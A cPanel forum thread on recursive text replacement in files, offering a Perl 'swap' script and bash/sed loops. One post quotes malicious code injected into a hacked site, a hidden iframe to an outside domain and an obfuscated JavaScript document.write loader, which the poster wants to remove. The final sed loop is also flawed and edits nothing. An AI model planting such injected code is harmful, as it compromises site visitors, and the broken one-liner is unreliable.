The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

replacing text on files ..

Discussion in 'General Discussion' started by Radio_Head, Mar 25, 2003.

  1. Radio_Head

    Radio_Head Well-Known Member

    Joined:
    Feb 15, 2002
    Messages:
    2,051
    Likes Received:
    1
    Trophy Points:
    38
    Hello

    I need to replace

    <TITLE>Cpanel NAME1</TITLE>
    with
    <TITLE>Cpanel NAME2</TITLE>

    in over 200 files on directory /myskin (ad subdirectory)


    Any idea to do that from command line ?

    (I often use replace but it's not recursive for all files and subdirectory)

    Thank you!!!
     
  2. dgbaker

    dgbaker Well-Known Member
    PartnerNOC

    Joined:
    Sep 20, 2002
    Messages:
    2,578
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    Toronto, Ontario Canada
    cPanel Access Level:
    DataCenter Provider
    Try this script it is wonderful, we use this script a lot and find it is perfect for what yiou are trying to achieve. No more remember long complicated commands. Just put the following in a file called swap in /usr/local/bin chmod 755 and call it as needed.

    [SCRIPT START]

    #!/usr/local/bin/perl

    #SWAP.PL by J.Tom Germain, tg@cgiware.com
    #September, 1996
    #Copyright 1996-2000
    #You are free to use & modify this script for your own purposes as long
    #as it includes the credit you see on line 3, and don't sell it.
    #I am not responsible for losses or injury of any kind resulting from the
    #use of this script
    #Other freeware available at http://www.cgiware.com

    #####GET ARGUMENTS
    if($#ARGV < 0){
    print "Enter string to search for:\n ";
    $search = <STDIN>;
    print "\nEnter string to replace it with:\n ";
    $replace = <STDIN>;
    print "\nEnter directory path to search:\n ";
    $dirpath = <STDIN>;
    $doit[0] = "$search^^$replace^^$dirpath";
    }
    else{
    $filename = $ARGV[0];

    if($filename !~ /\w/){
    print "You must specify a configuration file.\n";
    print "If you wish to enter parameters manually, don't put arguments.\n";
    exit(1);}

    $dirpath = $ARGV[1];

    if($filename !~ /\./){$filename .= '.rep';}
    $filename =~ s/\s//g;

    open(FIL, "<$filename") || die "Can't open $filename\n";
    @doit = <FIL>;
    close(FIL);
    }

    print "\nStarting search and replace...(Copyright 1996-2000 Tom Germain)\n";

    $count = 0;

    loopz:
    foreach $line (@doit){
    $line =~ s/(\n|\r|\t)//g;

    ($search,$replace,$newdirpath) = split(/\^\^/,$line);
    if($newdirpath ne ""){$dirpath = $newdirpath;}

    if($dirpath eq ""){$dirpath = '.';}
    $dirpath =~ s/\s//g;

    if($dirpath !~ /(\/)$/){$dirpath .= '/';}

    print "Opening $dirpath\n";
    opendir(DIR, "$dirpath") || next;
    print "Okay\n";

    @files = readdir(DIR);
    closedir(DIR);

    @files = grep(!/^(\.|\.\.)$/,@files);

    loopy:
    foreach $file (@files){

    if(!(-f "$dirpath$file")){

    if(-d "$dirpath$file"){
    $doit[$#doit + 1] = "$search^^$replace^^$dirpath$file";
    }
    next;
    }

    open(FIL,"<$dirpath$file") || next;

    @data = ();

    @data = <FIL>;
    close(FIL);

    loopx:
    if($num = grep(/$search/i,@data)){

    foreach $line (@data){
    if($line =~ s/$search/$replace/gi){$count++;}
    }

    open(FIL,">$dirpath$file") || next;
    seek(FIL,0,0);
    print FIL @data;
    close(FIL);
    } #end loopx

    } #end loopy
    } #end loopz

    print "\nDONE! Total matches replaced: $count\n";

    [SCRIPT END]
     
  3. Radio_Head

    Radio_Head Well-Known Member

    Joined:
    Feb 15, 2002
    Messages:
    2,051
    Likes Received:
    1
    Trophy Points:
    38
    thanks a lot !:)
     
  4. PWSowner

    PWSowner Well-Known Member

    Joined:
    Nov 10, 2001
    Messages:
    2,948
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    ON, Canada
    Thanks from me to. I've been "thinking" about writing a script to do that for a while. :D
     
  5. dgbaker

    dgbaker Well-Known Member
    PartnerNOC

    Joined:
    Sep 20, 2002
    Messages:
    2,578
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    Toronto, Ontario Canada
    cPanel Access Level:
    DataCenter Provider
    No problem.

    Please note though that there is no "roll-back" if you screwup a search and replace there is no going back. This script also does all subdirectories so be carefull.
     
  6. PWSowner

    PWSowner Well-Known Member

    Joined:
    Nov 10, 2001
    Messages:
    2,948
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    ON, Canada
    I know. I learned that one day on my home computer doing something similar when doing multiple html page edits. :eek:

    The general rule I go by is that you need to have enough of a string to be sure it won't find what you don't want.
     
  7. dgbaker

    dgbaker Well-Known Member
    PartnerNOC

    Joined:
    Sep 20, 2002
    Messages:
    2,578
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    Toronto, Ontario Canada
    cPanel Access Level:
    DataCenter Provider
    Actually another little trick?

    When doing this with themes.

    copy all of the files that need to be changed to a new directory, make the changes in that directory. Now you know you did not hit any other files by mistake.
     
  8. Frankc

    Frankc Well-Known Member

    Joined:
    Jun 18, 2005
    Messages:
    98
    Likes Received:
    0
    Trophy Points:
    16
    I tried the script to check and replace code placed by hackers but got error.

    Malformed UTF-8 character (overflow at 0xd4ec96f3c2f3b70e, byte 0xa6, after start byte 0xbf) in pattern match (m//) at /usr/local/bin/swap line 84.

    The code that I want to delete is (by just hit enter and also tried space)

    <!--iframe width=1 height=1 border=0 frameborder=0 src='http://trustdotnet.com/nnews/index.php' style='display:none;'></iframe-->

    and

    <!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,19,18,17,33,6,52,2,50,42,0,0,0,0,0,0,57,34,41,60,54,43,10,40,36,26,7,61,9,24,62,44,1,23,35,20,4,0,45,31,11,30,5,0,0,0,0,21,0,37,16,51,49,25,8,32,27,12,46,47,58,48,14,38,22,39,13,15,55,56,3,59,29,28,53);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("ZoLcvWrdfvy42cym3tioSpMcUcOmrJroSpudFWxmUWro_pumQ1i8UWO8QJimQReaZIKz5RBgrJx6_0BAFFrmJve6QvVz3kGdFROAXkim2hVAikymUtKA_tyz7pGz3cx8URBgPcOz_qidy0@8FkimYFuoe9fcvWrdfvCo")</script><!-- ~ -->
     
  9. jayh38

    jayh38 Well-Known Member

    Joined:
    Mar 3, 2006
    Messages:
    1,215
    Likes Received:
    0
    Trophy Points:
    36
    I use that technique all the time as well as packing a backup before hand.

    good stuff and thanks for the script. Ill have to give it a whirl soon..

    cheers
     
  10. kevinm

    kevinm Member

    Joined:
    Feb 22, 2006
    Messages:
    19
    Likes Received:
    0
    Trophy Points:
    1
    you can also use this much shorted script ..

    cd /yourfolder to replace in
    for fl in *.ini; do
    mv $fl $fl.old
    sed 's/search/replace/g' $fl.old > $fl
    done

    This will replace the word search , with the word replace , in all ini files , and create a backup file called filename.old .
     
  11. Murtaza_t

    Murtaza_t Well-Known Member

    Joined:
    Jan 24, 2005
    Messages:
    476
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Earth
    cPanel Access Level:
    Website Owner
    I don't think that it will create any backups, but this should:

    cd /yourfolder to replace in
    for fl in *.ini; do
    cp -af $fl $fl.old
    sed 's/search/replace/g' $fl;
    done


    I would also like to remind every one here that the script by dgbaker was posted in 2003, bash is much more advance now and there are better ways to replace things.. :)
     
    #11 Murtaza_t, Apr 10, 2007
    Last edited: Apr 10, 2007
Loading...

Share This Page